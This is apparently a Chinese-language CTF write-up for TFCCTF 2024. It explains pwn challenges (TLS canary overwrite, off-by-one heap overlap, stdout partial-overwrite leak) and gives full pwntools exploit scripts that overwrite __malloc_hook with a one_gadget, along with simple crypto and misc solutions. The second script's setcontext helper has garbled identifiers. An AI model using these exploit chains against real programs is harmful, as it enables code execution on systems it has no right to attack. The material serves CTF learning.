跳转至

tfcctf2024

题目附件https://github.com/nyyyddddn/ctf/tree/main/tfcctf2024

pwn

GUARD-THE-BYPASS

程序的逻辑如下 这里GUARD也就是指canary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+Ch] [rbp-14h] BYREF
  pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Welcome! Press 1 to start the chall.");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 1 )
  {
    puts("Bye!");
    exit(0);
  }
  len = get_len();
  pthread_create(&newthread, 0LL, game, 0LL);
  pthread_join(newthread, 0LL);
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall game(void *a1)
{
  __int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  memset(buf, 0, 32);
  getchar();
  read(0, buf, len);
  return v3 - __readfsqword(0x28u);
}

有canary 没有pie,修改寄存器的gadget也有

posix接口创建的线程 tls结构体离函数栈帧很近,可以覆盖tls中的canary去绕过canary然后打ret2libc,tls附近有一两个指针在程序执行的时候会往里面写数据,想到了一种很简单的方法,把game函数的canary和tls中的canary覆盖成指向bss的指针,直接一路写过去,就不需要管指针解引用段错误的问题了

vspm

程序的逻辑

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_1289(a1, a2, a3);
  puts("Welcome to the Very Secure Password Manager!");
  puts("--------------------------------------------\n");
  puts("1. Save new password");
  puts("2. Check my passwords");
  puts("3. Delete credentials");
  puts("4. Exit");
  while ( 1 )
  {
    v3 = 0;
    printf("Input: ");
    __isoc99_scanf("%d", &v3);
    getchar();
    if ( v3 <= 0 || v3 > 4 )
      break;
    switch ( v3 )
    {
      case 4:
        exit_();
      case 3:
        delete_password();
        break;
      case 1:
        save_password();
        break;
      default:
        show_password();
        break;
    }
  }
  puts("Not a valid choice :(");
  exit(0);
}

unsigned __int64 save_password()
{
  unsigned int v1; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  __int64 v3; // [rsp+10h] [rbp-60h]
  __int64 v4; // [rsp+18h] [rbp-58h]
  __int64 v5; // [rsp+20h] [rbp-50h]
  __int64 v6; // [rsp+28h] [rbp-48h]
  __int64 v7; // [rsp+30h] [rbp-40h]
  __int64 v8; // [rsp+38h] [rbp-38h]
  __int64 v9; // [rsp+40h] [rbp-30h]
  __int64 v10; // [rsp+48h] [rbp-28h]
  __int64 v11; // [rsp+50h] [rbp-20h]
  __int64 v12; // [rsp+58h] [rbp-18h]
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i )
    ;
  if ( i == 10 )
  {
    puts("No more space to save passwords.");
    exit(0);
  }
  printf("\nSelect length: ");
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  v3 = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  *((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1);
  printf("Enter credentials: ");
  read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1));
  printf("Name of the credentials: ");
  read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1));
  return __readfsqword(0x28u) ^ v13;
}

int show_password()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    v0 = *((_QWORD *)&unk_4060 + 5 * i);
    if ( v0 )
      LODWORD(v0) = printf(
                      "%d. %.*s --> %s",
                      (unsigned int)i,
                      32,
                      (const char *)&unk_4060 + 40 * i + 8,
                      *((const char **)&unk_4060 + 5 * i));
  }
  return v0;
}

unsigned __int64 delete_password()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  printf("Select index: ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( !*((_QWORD *)&unk_4060 + 5 * v1) )
  {
    puts("You can't delete a non-existent password.");
    exit(0);
  }
  free(*((void **)&unk_4060 + 5 * v1));
  *((_QWORD *)&unk_4060 + 5 * v1) = 0LL;
  memset((char *)&unk_4060 + 40 * v1 + 8, 0, 0x20uLL);
  return __readfsqword(0x28u) ^ v2;
}

关闭了tcahce的glibc 2.30,漏洞是在create password的时候有一个off by one 可以覆盖相邻地址堆块的 chunk size一个字节,通过 off by one绕过size的限制申请出unsortedbin,然后切分unsortedbin利用残留的bk指针泄露libc基地址,只需要控制一下 off by one的size就可以在切分unsortedbin后和下一个堆块完全重叠,造成heap overlap,之后doube free写malloc hook 为one gadget触发就好了

exp

from pwn import *
## from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 9999


elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
## e.g. dest, payload = setcontext32.setcontext32(
##         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
##     )
is_debug = 1
IP = "challs.tfcctf.com"
PORT = 31822

p = connect()

def save_password(len,password,name):
    sla("Input:","1")
    sla("length",str(len))
    sa("Enter credentials:",password)
    sa("Name of the credentials:",name)

def delete_credentials(idx):
    sla("Input:","3")
    sla("Select index:",str(idx))

def check_password():
    sla("Input:","2")

save_password(0x68, b"AAAAAAAA", b"aaaaaaaa")
save_password(0x68, b"BBBBBBBB", b"bbbbbbbb")
save_password(0x68, b"CCCCCCCC", b"cccccccc")
save_password(0x68, b"DDDDDDDD", b"dddddddd")
save_password(0x68, b"EEEEEEEE", b"eeeeeeee")

delete_credentials(0)
save_password(0x68, b"A" * 0x68 + p8(0xe1), b"a" * 0x8)
delete_credentials(1) # unsorted bin 
save_password(0x68, b"B" * 0x8, b"b" * 0x8) # leak unsortedbin bk


check_password()
ru(b"B" * 0x8)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76c3f6bb4c90 - 0x76c3f6800000)
success(hex(libc_base))
libc.addr = libc_base

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']

one_gadget = libc_base + 0xe1fa1

save_password(0x68,b"FFFFFFFF","ffffffff") # heap overlap (cccccccc and ffffffff)

## double free
delete_credentials(2) # delete cccccccc
delete_credentials(3)
delete_credentials(5) # delete ffffffff

save_password(0x68, p64(malloc_hook - 0x23), b"f" * 0x8)
save_password(0x68, b'D' * 8, b"d" * 0x8)
save_password(0x68, p64(malloc_hook - 0x23), b"c" * 0x8)
save_password(0x68, b'A' * 0x13 + p64(one_gadget), b"c" * 0x8)

sl(str(1))
sla("length",str(0x48))




p.interactive()

mcback2dabasics

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int choice; // [rsp+0h] [rbp-10h] BYREF
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = 0; i <= 63; ++i )
    chunk_list[i] = 0LL;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      scanf("%d", &choice);
      if ( choice != 2 )
        break;
      delete();
    }
    if ( choice == 3 )
    {
      puts("Is that all you got? Bye!");
      exit(0);
    }
    if ( choice == 1 )
      create();
    else
      puts("Invalid choice");
  }
}

unsigned __int64 sub_9F4()
{
  int idx; // eax
  _DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_number > 63 )
  {
    puts("No more memory available");
    exit(0);
  }
  puts("How much?");
  printf("[+]> ");
  scanf("%d", nbytes);
  if ( nbytes[0] > 0x70u )
  {
    puts("Nope, too big");
    exit(0);
  }
  *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
  puts("Data?");
  read(0, *(void **)&nbytes[1], nbytes[0]);
  *(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0;
  idx = chunk_number++;
  chunk_list[idx] = *(_QWORD *)&nbytes[1];
  puts("Job done!");
  return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 delete()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Which one?");
  printf("[+]> ");
  scanf("%d", &idx);
  if ( idx > 0x3F )
  {
    puts("Invalid index");
    exit(0);
  }
  free((void *)chunk_list[idx]);
  puts("Job done!");
  return __readfsqword(0x28u) ^ v2;
}

glibc 2.24,这个题非常困难,有uaf,但是泄露不出来地址,我知道要写stdout 打puts的利用链去泄露地址但是不知道怎么做,后面复现的时候发现可以通过堆风水让unsortedbin的fd和fastbin的fd重叠,main arena + 88离 stdout很近,libc地址低12位是固定的,覆盖两个字节就能到stdout,然后因为有size的检查,但是stdoutt往上一小段距离那有一个0x7f的地址可以通过错位字节分配到上面然后绕过这个检查,所以远程的话有十六分之一的概率能打通,需要爆破。申请到stdout后,把write base的低位覆盖,就可以通过puts的利用链去泄露libc。

具体的堆风水是,因为没有edit函数,可以通过在大堆块里面伪造fake chunk然后double free 让chunklist中有fakechunk的指针,伪造一个unsortedbin范围的fakechunk fakechunk和next chunk重叠,或者是大于,通过切分unsortedbin调整fd的位置,重叠后就可以利用了,记得把size改回去,因为重叠后unsortedbin切分的时候会写写size,也不能保证unsortedbin切分后size和原来相同,因为会分到fastbin

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.createress + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.createress + libc.get_section_by_name(".plt").header.sh_creater
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
## e.g. dest, payload = setcontext32.setcontext32(
##         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
##     )

p = connect()

def create(size,content): # 0x70
    sla(b"[+]> ",b"1")
    sla(b"[+]> ",str(size).encode())
    sa(b"Data?",content)

def delete(idx):
    sla(b"[+]> ",b"2")
    sla(b"[+]> ",str(idx).encode())

create(0x50,b"A" * 0x10 + b"fkchunk0" + p64(0x71)) #0 # fkchunk0 = 0x555555605020
create(0x60,"B" * 8) # 1
create(0x60,"C" * 8) # 2
create(0x60,"D" * 8) # 3

delete(1)
delete(2)
delete(1)

create(0x60,b"\x20\x50") # 4
create(0x60,"C" * 8) # 5
create(0x60,"B" * 8) # 6
create(0x60,"D" * 8) # 7 # fkchunk0


delete(0)
create(0x50,b"A" * 0x10 + p64(0) + p64(0xb1)) # 8
delete(7) # delete fkchunk0

delete(3)
delete(1) 
create(0x30,b"A" * 0x10 + p64(0) + p64(0X61)) # 9 # segmentation unsortedbin and create fakechunk1 0x555555605040
## # heap overlap chunk[1].fd = main_arena + 88

## pwndbg> x /40gx 0x7ffff7bc2600 - 0x43
## 0x7ffff7bc25bd <_IO_2_1_stderr_+157>:    0xfff7bc1640000000  0x000000000000007f
## 0x7ffff7bc25cd <_IO_2_1_stderr_+173>:    0x0000000000000000  0x0000000000000000
## 0x7ffff7bc25dd <_IO_2_1_stderr_+189>:    0x0000000000000000  0x0000000000000000
## 0x7ffff7bc25ed <_IO_2_1_stderr_+205>:    0x0000000000000000  0xfff7bbe400000000
## 0x7ffff7bc25fd <_IO_2_1_stderr_+221>:    0x00fbad288700007f  0xfff7bc2683000000
## 0x7ffff7bc260d <_IO_2_1_stdout_+13>: 0xfff7bc268300007f  0xfff7bc268300007f
## 0x7ffff7bc261d <_IO_2_1_stdout_+29>: 0xfff7bc268300007f  0xfff7bc268300007f
## 0x7ffff7bc262d <_IO_2_1_stdout_+45>: 0xfff7bc268300007f  0xfff7bc268300007f
## 0x7ffff7bc263d <_IO_2_1_stdout_+61>: 0xfff7bc268400007f  0x000000000000007f
## 0x7ffff7bc264d <_IO_2_1_stdout_+77>: 0x0000000000000000  0x0000000000000000
## 0x7ffff7bc265d <_IO_2_1_stdout_+93>: 0x0000000000000000  0xfff7bc18c0000000
## 0x7ffff7bc266d <_IO_2_1_stdout_+109>:    0x000000000100007f  0xffffffffff000000
## 0x7ffff7bc267d <_IO_2_1_stdout_+125>:    0x000a000000ffffff  0xfff7bc3760000000
## 0x7ffff7bc268d <_IO_2_1_stdout_+141>:    0xffffffffff00007f  0x0000000000ffffff
## 0x7ffff7bc269d <_IO_2_1_stdout_+157>:    0xfff7bc1780000000  0x000000000000007f
## 0x7ffff7bc26ad <_IO_2_1_stdout_+173>:    0x0000000000000000  0x0000000000000000


create(0x20,b"\xbd\x25") # 10 # segmentation unsortedbin; chunk[1].fd = stdout


create(0x50,b"E" * 8) # 11
create(0x50,b"F" * 8) # 12
delete(11)
delete(12)
delete(11)

create(0x50,b"\x40\x50") # 13
create(0x50,b"D" * 8) # 14
create(0x50,b"B" * 8) # 15
create(0x50,b"A" * 0x10 + p64(0) + p64(0x71)) # 16 # modify chunk[1].chunksize = 0x71

create(0x60,"SSSSS") # 16

payload = b'A' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0) #
create(0x61,payload) # 17

rl()
print(r(0x20))
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x3c2600
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0xce0e5
malloc_hook = libc_base + libc.sym['__malloc_hook']

delete(1)
delete(2)
delete(1)

create(0x60,p64(malloc_hook - 0x23))
create(0x60,"BBBBBBBB")
create(0x60,p64(malloc_hook - 0x23))
create(0x60,b'a' * 0x13 + p64(one_gadget))

sla(b"[+]> ",b"1")
sla(b"[+]> ",str(0x8).encode())




p.interactive()

misc

DISCORD SHENANIGANS V4

discord上的机器人回复信息里有零宽字符,在复制信息的时候发现的

1722599774224

crypto

ccccc

去掉c字符后发现是ascii编码

5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca
1
2
3
4
5
hex_string = "5446434354467b6373686f75745f636f75745f6374305f636d795f636230795f63346e645f636d795f63646f675f63616e645f636d795f636334377d0a"
data = [hex_string[i:i+2] for i in range(0, len(hex_string), 2)]

for i in data:
    print(chr(int(i, 16)),end="")

GENETICS

通过搜索发现是一段dna编码 每一组是8bit,刚刚好可以用来表示一个字节,把ACGT四个字符映射回去后 再重新编码用ascii表示可以求出flag

CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC
mapping = {
    'A': '00',
    'C': '01',
    'G': '10',
    'T': '11'
}

def dna_to_char(dna_sequence):
    binary_string = ''.join([mapping[i] for i in dna_sequence])
    return chr(int(binary_string, 2))

dna_sequences = [
    "CCCA", "CACG", "CAAT", "CAAT", "CCCA", "CACG", "CTGT", "ATAC", "CCTT",
    "CTCT", "ATAC", "CGTA", "CGTA", "CCTT", "CGCT", "ATAT", "CTCA", "CCTT",
    "CTCA", "CGGA", "ATAC", "CTAT", "CCTT", "ATCA", "CTAT", "CCTT", "ATCA",
    "CCTT", "CTCA", "ATCA", "CTCA", "CTCA", "ATAA", "ATAA", "CCTT", "CCCG",
    "ATAT", "CTAG", "CTGC", "CCTT", "CTAT", "ATAA", "ATAA", "CGTG", "CTTC"
]

flag = [dna_to_char(seq) for seq in dna_sequences]
for i in flag:
    print(i,end="")

CONWAY

from secret import generate_next_key, flag
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

initial = 11131221131211131231121113112221121321132132211331222113112211

initial = generate_next_key(initial)
print(initial)

initial = generate_next_key(initial)
h = hashlib.sha256()
h.update(str(initial).encode())
key = h.digest()

cipher = AES.new(key, AES.MODE_ECB)
print(cipher.encrypt(pad(flag.encode(),16)).hex())

output.txt

311311222113111231131112132112311321322112111312211312111322212311322113212221
f143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c

这个的目标其实是算出key,key的生成是依赖于generate_next_key,我搜了一下initial和output 搜到了一个叫外观数列的信息,这是一个第n项描述了第n-1项的数字分布 https://zh.wikipedia.org/wiki/%E5%A4%96%E8%A7%80%E6%95%B8%E5%88%97

generate_next_key其实就是一个根据inital生成外观数列的函数,只需要把外观数列的生成函数实现出来就能求出key了

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

def generate_next_key(s):
    result = []
    i = 0
    while i < len(s):
        count = 1
        while i + 1 < len(s) and s[i] == s[i + 1]:
            i += 1
            count += 1
        result.append(str(count) + s[i])
        i += 1
    return ''.join(result)

initial = '11131221131211131231121113112221121321132132211331222113112211'

initial = generate_next_key(initial)
initial = generate_next_key(initial)

print(initial)

h = hashlib.sha256()
h.update(initial.encode())
key = h.digest()

ciphertext = bytes.fromhex('f143845f3c4d9ad024ac8f76592352127651ff4d8c35e48ca9337422a0d7f20ec0c2baf530695c150efff20bbc17ca4c')

cipher = AES.new(key, AES.MODE_ECB)
decrypted_flag = unpad(cipher.decrypt(ciphertext), 16).decode()

print(decrypted_flag)